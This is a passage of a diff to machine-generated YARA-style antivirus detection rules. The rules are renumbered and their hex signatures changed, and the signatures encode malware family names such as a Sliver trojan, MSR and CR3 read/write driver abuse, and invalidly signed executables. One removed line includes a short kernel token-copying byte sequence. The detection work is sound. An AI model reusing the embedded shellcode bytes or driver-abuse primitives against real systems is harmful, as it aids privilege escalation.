& 1)*24931+(#a_01_6 & 1)*2304+(#a_72_7 & 1)*30579+(#a_68_8 & 1)*30017+(#a_01_9 & 1)*4864) >=10 } -rule _InfrastructureShared_415{ +rule _InfrastructureShared_418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4624,7 +4674,7 @@ rule _InfrastructureShared_415{ ((#a_46_0 & 1)*21283+(#a_4b_1 & 1)*30035+(#a_67_2 & 1)*26994+(#a_6d_3 & 1)*21608+(#a_62_4 & 1)*29545+(#a_41_5 & 1)*29285+(#a_00_6 & 1)*29554+(#a_2e_7 & 1)*385+(#a_55_8 & 1)*26988+(#a_69_9 & 1)*29812) >=10 } -rule _InfrastructureShared_416{ +rule _InfrastructureShared_419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4642,7 +4692,7 @@ rule _InfrastructureShared_416{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*25701+(#a_2e_2 & 1)*385+(#a_45_4 & 1)*10497+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_f6_8 & 1)*0+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_417{ +rule _InfrastructureShared_420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4661,7 +4711,7 @@ rule _InfrastructureShared_417{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*22318+(#a_65_2 & 1)*24910+(#a_00_3 & 1)*25701+(#a_2e_4 & 1)*385+(#a_75_5 & 1)*25701+(#a_69_6 & 1)*28525+(#a_2e_7 & 1)*385+(#a_65_8 & 1)*21369+(#a_66_9 & 1)*28483) >=10 } -rule _InfrastructureShared_418{ +rule _InfrastructureShared_421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4679,7 +4729,7 @@ rule _InfrastructureShared_418{ ((#a_46_0 & 1)*21283+(#a_2e_2 & 1)*385+(#a_6e_3 & 1)*18020+(#a_72_4 & 1)*14918+(#a_65_5 & 1)*29797+(#a_53_6 & 1)*27765+(#a_6e_7 & 1)*27247+(#a_00_8 & 1)*25454+(#a_2e_9 & 1)*385) >=10 } -rule _InfrastructureShared_419{ +rule _InfrastructureShared_422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4693,12 +4743,12 @@ rule _InfrastructureShared_419{ $a_00_6 = {17 } //28265 $a_2e_7 = {61 73 74 49 6e 73 74 72 46 6f 72 49 6e 73 65 72 74 69 6f 6e 01 00 16 81 01 29 2e 49 6e 73 74 72 52 65 76 49 74 65 72 61 74 } //385 $a_65_8 = {74 01 00 24 81 01 29 2e 52 65 76 65 72 73 65 50 6f 73 74 4f 72 64 65 72 42 6c 6f 63 6b 49 74 65 72 61 74 6f 72 42 65 67 69 6e 01 00 15 81 01 29 2e 52 65 6c 6f 61 64 52 65 67 69 73 74 65 72 41 66 74 65 72 01 00 12 81 01 29 2e 45 78 70 } //29295 - $a_65_9 = {4d 65 6d 6f 72 69 65 73 01 00 15 81 01 29 2e 53 74 6f 72 65 52 65 67 69 73 74 65 72 42 65 66 6f 72 65 01 00 0c 81 01 29 2e 4c 6f 6f 70 48 65 61 64 65 72 01 00 1b 81 01 29 2e 4c 6f 6f 70 4e 65 73 74 69 6e 67 46 6f 72 65 73 74 43 68 69 6c 64 72 65 6e 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 20 4e 00 00 bd 51 01 00 0d 15 00 } //29295 + $a_65_9 = {4d 65 6d 6f 72 69 65 73 01 00 15 81 01 29 2e 53 74 6f 72 65 52 65 67 69 73 74 65 72 42 65 66 6f 72 65 01 00 0c 81 01 29 2e 4c 6f 6f 70 48 65 61 64 65 72 01 00 1b 81 01 29 2e 4c 6f 6f 70 4e 65 73 74 69 6e 67 46 6f 72 65 73 74 43 68 69 6c 64 72 65 6e 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 08 52 00 00 96 73 00 00 00 1f 50 } //29295 condition: ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*31337+(#a_61_2 & 1)*24912+(#a_65_3 & 1)*26988+(#a_74_4 & 1)*22318+(#a_6d_5 & 1)*19816+(#a_00_6 & 1)*28265+(#a_2e_7 & 1)*385+(#a_65_8 & 1)*29295+(#a_65_9 & 1)*29295) >=10 } -rule _InfrastructureShared_420{ +rule _InfrastructureShared_423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -4709,63 +4759,29 @@ rule _InfrastructureShared_420{ $a_65_3 = {00 1b 81 01 29 2e 57 69 74 68 4d 65 6d 6f 72 79 43 61 70 61 63 69 74 79 46 72 6f 6d 4d 61 78 00 00 78 2e 01 00 0a 00 0a 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6c 69 76 65 72 2e 41 4d 2e 4f 00 01 00 0d 81 01 29 2e 42 6c 6f 63 6b 50 61 72 61 6d 73 01 00 14 81 01 29 2e 49 6e 73 74 72 } //25441 $a_72_4 = {74 6f 72 42 65 67 69 6e 01 00 17 81 01 29 2e 4c 61 73 74 49 6e 73 74 72 46 6f 72 49 6e 73 65 72 74 69 6f 6e 01 00 16 81 01 29 2e 49 6e 73 74 72 52 65 76 49 74 65 72 61 74 6f 72 4e 65 78 74 01 00 24 81 01 29 2e 52 65 76 65 72 73 65 50 6f 73 74 4f 72 64 65 72 42 6c 6f 63 6b 49 74 65 72 61 74 6f 72 42 65 } //29769 $a_01_5 = {00 15 81 01 29 2e 52 65 6c 6f 61 64 52 65 67 69 73 74 65 72 41 66 74 65 72 01 00 12 81 01 29 2e 45 78 70 6f 72 74 65 64 4d 65 6d 6f 72 69 65 73 01 00 15 81 01 29 2e 53 74 6f 72 65 52 65 67 69 73 74 65 72 42 65 66 6f 72 65 01 00 0c 81 01 29 2e 4c 6f 6f 70 48 65 61 64 65 72 01 00 1b 81 01 29 2e 4c 6f 6f 70 4e 65 73 74 69 6e 67 46 } //26983 - $a_73_6 = {43 68 69 6c 64 72 65 6e 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 20 4e 00 00 bd 51 01 00 0d 15 00 00 3c 01 00 00 33 39 62 33 66 66 33 61 36 61 66 32 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 07 1d 00 00 00 05 00 00 00 06 40 40 00 1c 80 } //29295 - $a_80_7 = {00 85 c0 00 00 86 00 41 01 c0 00 80 00 01 41 01 00 41 81 01 00 82 01 80 00 9c 80 80 02 9a 00 00 00 16 c0 02 80 85 c0 00 00 86 00 41 01 c0 00 80 00 01 c1 01 00 41 81 01 00 82 01 80 00 9c 80 80 02 9a 00 00 00 16 } // 128 - $a_85_8 = {02 00 86 40 42 01 9e 00 00 01 85 00 02 00 86 80 42 01 9e 00 00 01 1e 00 80 00 0b 00 00 00 04 03 00 00 00 62 6d 00 04 21 00 00 00 67 65 74 5f 63 75 72 72 65 6e 74 5f 70 72 6f 63 65 73 73 5f 73 74 61 72 74 75 70 5f 69 6e 66 6f 00 04 0d 00 00 00 63 6f 6d 6d 61 6e 64 5f 6c 69 6e 65 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 05 00 00 00 66 69 6e 64 00 04 05 00 00 00 20 2d 6c 20 00 03 01 } //128 + $a_73_6 = {43 68 69 6c 64 72 65 6e 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 08 52 00 00 96 73 00 00 00 1f 50 00 21 23 41 4c 46 3a 57 69 6e 33 32 2f 49 6e 76 61 6c 69 64 53 69 67 6e 65 64 45 78 65 63 2e 42 4d 70 54 72 75 73 74 43 68 65 63 6b 5f 49 6e 76 61 6c 69 64 6c 79 53 69 67 6e 65 64 } //29295 + $a_5f_7 = {5a 5f 46 49 4c 45 26 52 50 46 3a 54 6f 70 4c 65 76 65 6c 46 69 6c 65 26 4d 70 4f 6e 4d 6f 64 69 66 69 65 64 48 61 6e 64 6c 65 43 6c 6f 73 65 96 7f 00 00 00 20 5b 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 49 6e 76 61 6c 69 64 53 69 67 } //16934 + $a_45_8 = {65 63 2e 41 49 4d 70 54 72 75 73 74 43 68 65 63 6b 5f 49 6e 76 61 6c 69 64 6c 79 53 69 67 6e 65 64 26 52 50 46 3a 54 6f 70 4c 65 76 65 6c 46 69 6c 65 26 52 50 46 3a 41 6e 79 46 69 6c 65 48 61 73 49 4f 41 56 55 52 4c 26 4d 70 4f 6e 4d 6f 64 69 66 69 65 64 48 61 6e 64 6c 65 43 6c 6f 73 65 7a 08 00 00 } //25966 condition: - ((#a_46_0 & 1)*21283+(#a_45_1 & 1)*10497+(#a_72_2 & 1)*25708+(#a_65_3 & 1)*25441+(#a_72_4 & 1)*29769+(#a_01_5 & 1)*26983+(#a_73_6 & 1)*29295+(#a_80_7 & 1)*128+(#a_85_8 & 1)*128) >=10 + ((#a_46_0 & 1)*21283+(#a_45_1 & 1)*10497+(#a_72_2 & 1)*25708+(#a_65_3 & 1)*25441+(#a_72_4 & 1)*29769+(#a_01_5 & 1)*26983+(#a_73_6 & 1)*29295+(#a_5f_7 & 1)*16934+(#a_45_8 & 1)*25966) >=10 } -rule _InfrastructureShared_421{ +rule _InfrastructureShared_424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6c 69 76 65 72 2e 41 4d 2e 4f 00 01 00 0d 81 01 29 2e 42 6c 6f 63 6b 50 61 72 61 6d 73 01 00 14 81 01 29 2e 49 6e 73 74 72 49 74 65 72 61 74 6f 72 42 65 67 69 6e 01 00 17 81 01 29 2e 4c } //21283 $a_49_1 = {73 74 72 46 6f 72 49 6e 73 65 72 74 69 6f 6e 01 00 16 81 01 29 2e 49 6e 73 74 72 52 65 76 49 74 65 72 61 74 6f 72 4e 65 78 74 01 00 24 81 01 29 2e 52 65 76 65 72 73 65 50 6f 73 74 4f 72 64 65 72 42 6c 6f 63 6b 49 74 65 72 61 74 6f 72 42 65 67 69 6e 01 00 15 81 01 29 2e 52 65 6c 6f 61 64 52 65 67 69 73 74 65 72 41 66 74 65 72 01 00 12 81 01 29 2e } //29537 - $a_6f_2 = {74 65 64 4d 65 6d 6f 72 69 65 73 01 00 15 81 01 29 2e 53 74 6f 72 65 52 65 67 69 73 74 65 72 42 65 66 6f 72 65 01 00 0c 81 01 29 2e 4c 6f 6f 70 48 65 61 64 65 72 01 00 1b 81 01 29 2e 4c 6f 6f 70 4e 65 73 74 69 6e 67 46 6f 72 65 73 74 43 68 69 6c 64 72 65 6e 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 20 4e 00 00 } //30789 - $a_00_3 = {0d } //20925 - $a_39_5 = {33 66 66 33 61 36 61 66 32 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 07 1d 00 00 00 05 00 00 00 06 40 40 00 1c } //0 - $a_c0_7 = {00 86 00 41 01 c0 00 80 00 01 41 01 00 41 81 01 00 82 01 80 00 9c 80 80 02 9a 00 00 00 16 c0 02 80 85 c0 00 00 86 00 41 01 c0 00 80 00 01 c1 01 00 41 81 01 00 82 01 80 00 9c 80 80 02 9a 00 00 00 16 80 00 80 85 00 02 00 86 40 42 01 9e 00 00 01 85 00 02 00 86 80 42 01 9e 00 00 01 1e 00 80 00 0b 00 00 00 04 03 00 00 00 62 6d 00 04 21 00 00 00 67 65 74 5f 63 75 72 72 65 6e 74 5f 70 72 6f 63 65 73 73 } //64 - $a_61_8 = {74 75 70 5f 69 6e 66 6f 00 04 0d 00 00 00 63 6f 6d 6d 61 6e 64 5f 6c 69 6e 65 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 05 00 00 00 66 69 6e 64 00 04 05 00 00 00 20 2d 6c 20 00 03 01 00 00 00 00 00 00 00 04 05 00 00 00 20 2d 70 20 00 04 03 00 00 00 6d 70 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 04 06 00 00 00 43 4c 45 41 4e 00 00 00 00 00 00 } //29535 + $a_6f_2 = {74 65 64 4d 65 6d 6f 72 69 65 73 01 00 15 81 01 29 2e 53 74 6f 72 65 52 65 67 69 73 74 65 72 42 65 66 6f 72 65 01 00 0c 81 01 29 2e 4c 6f 6f 70 48 65 61 64 65 72 01 00 1b 81 01 29 2e 4c 6f 6f 70 4e 65 73 74 69 6e 67 46 6f 72 65 73 74 43 68 69 6c 64 72 65 6e 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 08 52 00 00 } //30789 + $a_00_4 = {21 23 41 4c 46 3a 57 69 6e 33 32 2f 49 6e 76 61 6c 69 64 53 69 67 6e 65 64 45 78 65 63 2e 42 4d 70 54 72 75 73 74 43 68 65 63 6b 5f 49 6e 76 61 6c 69 64 6c 79 53 69 67 6e 65 64 26 42 4d 5f 4d 5a 5f 46 49 4c 45 26 52 50 46 3a 54 6f 70 4c 65 } //7936 !#ALF:Win32/InvalidSignedExec.BMpTrustCheck_InvalidlySigned&BM_MZ_FILE&RPF:TopLe + $a_46_5 = {6c 65 26 4d 70 4f 6e 4d 6f 64 69 66 69 65 64 48 61 6e 64 6c 65 43 6c 6f 73 65 96 7f 00 00 00 20 5b 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 49 6e 76 61 6c 69 64 53 69 67 6e 65 64 45 78 65 63 2e 41 49 4d 70 54 72 75 73 74 43 68 65 63 6b 5f 49 6e 76 61 6c 69 64 6c 79 53 69 67 6e 65 64 26 52 50 46 3a 54 6f 70 4c 65 76 65 6c 46 } //25974 + $a_26_6 = {50 46 3a 41 6e 79 46 69 6c 65 48 61 73 49 4f 41 56 55 52 4c 26 4d 70 4f 6e 4d 6f 64 69 66 69 65 64 48 61 6e 64 6c 65 43 6c 6f 73 65 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 1f 5b 00 00 bd ee 04 00 0d 15 1b 00 be 04 00 00 34 31 64 37 39 63 37 39 65 37 32 33 00 49 6e 63 6c 75 64 65 73 } //27753 + $a_63_7 = {6e 69 71 75 65 54 72 61 63 6b 65 72 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 0e 58 00 00 00 24 00 00 00 45 00 00 00 46 40 c0 00 5c 80 80 00 5a 40 00 00 16 80 00 80 85 00 00 00 86 80 40 01 9e 00 00 01 85 c0 00 00 86 00 41 01 c0 00 80 00 9c 80 00 01 9a 00 00 } //21504 + $a_01_8 = {80 c6 40 41 01 05 c1 00 00 06 81 41 02 19 c0 00 02 16 80 00 80 c5 00 00 00 c6 80 c0 01 de 00 00 01 c5 c0 01 00 c6 00 c2 01 05 01 00 00 06 41 42 02 40 01 80 00 1c 01 00 01 dc 80 00 00 da 40 00 00 16 80 00 80 05 01 00 00 06 81 40 02 1e 01 00 01 00 01 00 00 40 01 80 01 1c 81 00 01 57 80 42 02 16 c0 0a 80 45 c1 02 00 46 01 c3 02 80 01 00 02 5c 81 00 01 5a 01 00 00 16 40 09 80 45 41 03 00 80 01 00 02 c1 81 03 00 5c 81 80 01 5a 01 00 00 16 c0 07 80 45 01 00 00 46 c1 c3 02 80 01 00 02 c2 01 80 00 02 02 00 00 5c 81 00 02 5a 41 00 00 16 c0 05 80 4a 01 00 04 81 01 04 00 c1 41 04 } //5632 + $a_04_9 = {00 41 c2 04 00 81 02 05 00 c1 42 05 00 01 83 05 00 41 c3 05 00 62 41 00 04 85 01 06 00 c0 01 80 02 9c 01 01 01 16 c0 01 80 c6 42 46 02 00 03 00 05 dc 82 00 01 da 02 00 00 16 80 00 80 c5 02 00 00 c6 82 c6 05 de 02 00 01 a1 81 00 00 16 40 fd 7f 45 01 00 00 46 81 c0 02 5e 01 00 01 1e 00 80 00 1b 00 00 00 04 03 00 00 00 6d 70 00 04 0f 00 00 00 47 65 74 53 63 61 6e 6e 65 64 50 50 49 44 00 04 } //256 condition: - ((#a_46_0 & 1)*21283+(#a_49_1 & 1)*29537+(#a_6f_2 & 1)*30789+(#a_00_3 & 1)*20925+(#a_39_5 & 1)*0+(#a_c0_7 & 1)*64+(#a_61_8 & 1)*29535) >=10 - -} -rule _InfrastructureShared_422{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 61 64 43 72 33 2e 41 00 01 00 0a 81 01 5f 5f 72 65 61 64 63 72 33 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c } //16675 - $a_69_1 = {6b 00 00 78 60 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 61 64 4d 53 52 2e 41 00 01 00 0a 81 01 5f 5f 72 65 61 64 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 } //25449 - $a_81_2 = {49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b } //1 IoCreateSymbolicLink - condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25449+(#a_81_2 & 1)*1) >=3 - -} -rule _InfrastructureShared_423{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 61 64 4d 53 52 2e 41 00 01 00 0a 81 01 5f 5f 72 65 61 64 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c } //16675 - $a_69_1 = {6b 00 00 78 62 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 33 2e 41 00 01 00 0b 81 01 5f 5f 77 72 69 74 65 63 72 33 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 } //25449 - $a_00_2 = {14 } //25955 - condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25449+(#a_00_2 & 1)*25955) >=3 - -} -rule _InfrastructureShared_424{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 33 2e 41 00 01 00 0b 81 01 5f 5f 77 72 69 74 65 63 72 33 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 } //16675 - $a_63_1 = {69 6e 6b 00 00 78 62 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 34 2e 41 00 01 00 0b 81 01 5f 5f 77 72 69 74 65 63 72 34 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b } //27759 - $a_62_2 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 4d 53 52 2e 41 00 01 00 0b 81 01 5f 5f 77 72 69 74 65 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 00 00 78 65 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //0 - condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27759+(#a_62_2 & 1)*0) >=3 + ((#a_46_0 & 1)*21283+(#a_49_1 & 1)*29537+(#a_6f_2 & 1)*30789+(#a_00_4 & 1)*7936+(#a_46_5 & 1)*25974+(#a_26_6 & 1)*27753+(#a_63_7 & 1)*21504+(#a_01_8 & 1)*5632+(#a_04_9 & 1)*256) >=10 } rule _InfrastructureShared_425{ @@ -4773,11 +4789,11 @@ rule _InfrastructureShared_425{ description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 34 2e 41 00 01 00 0b 81 01 5f 5f 77 72 69 74 65 63 72 34 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 } //16675 - $a_63_1 = {69 6e 6b 00 00 78 62 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 4d 53 52 2e 41 00 01 00 0b 81 01 5f 5f 77 72 69 74 65 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b } //27759 - $a_65_2 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 2e 45 58 00 01 00 3b 01 65 48 8b 80 88 01 00 00 48 8b 80 b8 00 00 00 48 89 c1 ba 04 00 00 00 48 8b 80 48 04 00 00 48 2d 48 04 00 00 48 39 90 40 04 00 00 75 ea 48 8b 90 b8 04 00 00 48 89 91 b8 04 00 00 00 00 78 65 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 } //0 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 61 64 43 72 33 2e 41 00 01 00 08 81 01 72 65 61 64 63 72 33 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 } //16675 + $a_6b_1 = {00 78 5e 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 61 64 4d 53 52 2e 41 00 01 00 08 81 01 72 65 61 64 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 00 00 78 60 00 00 03 00 03 00 03 00 21 } //26956 + $a_46_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 33 2e 41 00 01 00 09 81 01 77 72 69 74 65 63 72 33 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c } //16675 condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27759+(#a_65_2 & 1)*0) >=3 + ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*26956+(#a_46_2 & 1)*16675) >=3 } rule _InfrastructureShared_426{ @@ -4785,13 +4801,86 @@ rule _InfrastructureShared_426{ description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 4d 53 52 2e 41 00 01 00 0b 81 01 5f 5f 77 72 69 74 65 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 } //16675 - $a_63_1 = {69 6e 6b 00 00 78 65 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 63 69 6e 67 2e 45 58 00 01 00 3b 01 65 48 8b 80 88 01 00 00 48 8b 80 b8 00 00 00 48 89 c1 ba 04 00 00 00 48 8b 80 48 04 00 00 48 2d 48 04 00 00 48 39 90 40 04 00 00 75 ea 48 8b 90 b8 04 00 00 48 89 91 b8 } //27759 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 61 64 4d 53 52 2e 41 00 01 00 08 81 01 72 65 61 64 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 } //16675 + $a_6b_1 = {00 78 60 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 33 2e 41 00 01 00 09 81 01 77 72 69 74 65 63 72 33 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 00 00 78 60 00 00 03 00 03 00 03 } //26956 + $a_41_2 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 34 2e 41 00 01 00 09 81 01 77 72 69 74 } //8448 condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27759) >=3 + ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*26956+(#a_41_2 & 1)*8448) >=3 } rule _InfrastructureShared_427{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 33 2e 41 00 01 00 09 81 01 77 72 69 74 65 63 72 33 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c } //16675 + $a_69_1 = {6b 00 00 78 60 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 34 2e 41 00 01 00 09 81 01 77 72 69 74 65 63 72 34 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 } //25449 + $a_81_2 = {49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b } //1 IoCreateSymbolicLink + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25449+(#a_81_2 & 1)*1) >=3 + +} +rule _InfrastructureShared_428{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 43 72 34 2e 41 00 01 00 09 81 01 77 72 69 74 65 63 72 34 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c } //16675 + $a_69_1 = {6b 00 00 78 60 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 4d 53 52 2e 41 00 01 00 09 81 01 77 72 69 74 65 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 } //25449 + $a_81_2 = {49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b } //1 IoCreateSymbolicLink + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25449+(#a_81_2 & 1)*1) >=3 + +} +rule _InfrastructureShared_429{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 72 69 74 65 4d 53 52 2e 41 00 01 00 09 81 01 77 72 69 74 65 6d 73 72 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 69 63 65 01 00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c } //16675 + $a_69_1 = {6b 00 00 78 63 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 62 69 74 72 61 72 79 4f 75 74 2e 41 00 01 00 08 81 01 6f 75 74 62 79 74 65 28 01 00 0e 81 01 49 6f 43 72 65 61 74 65 44 65 76 } //25449 + $a_01_2 = {00 14 81 01 49 6f 43 72 65 61 74 65 53 79 6d 62 6f 6c 69 63 4c 69 6e 6b 00 00 78 63 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 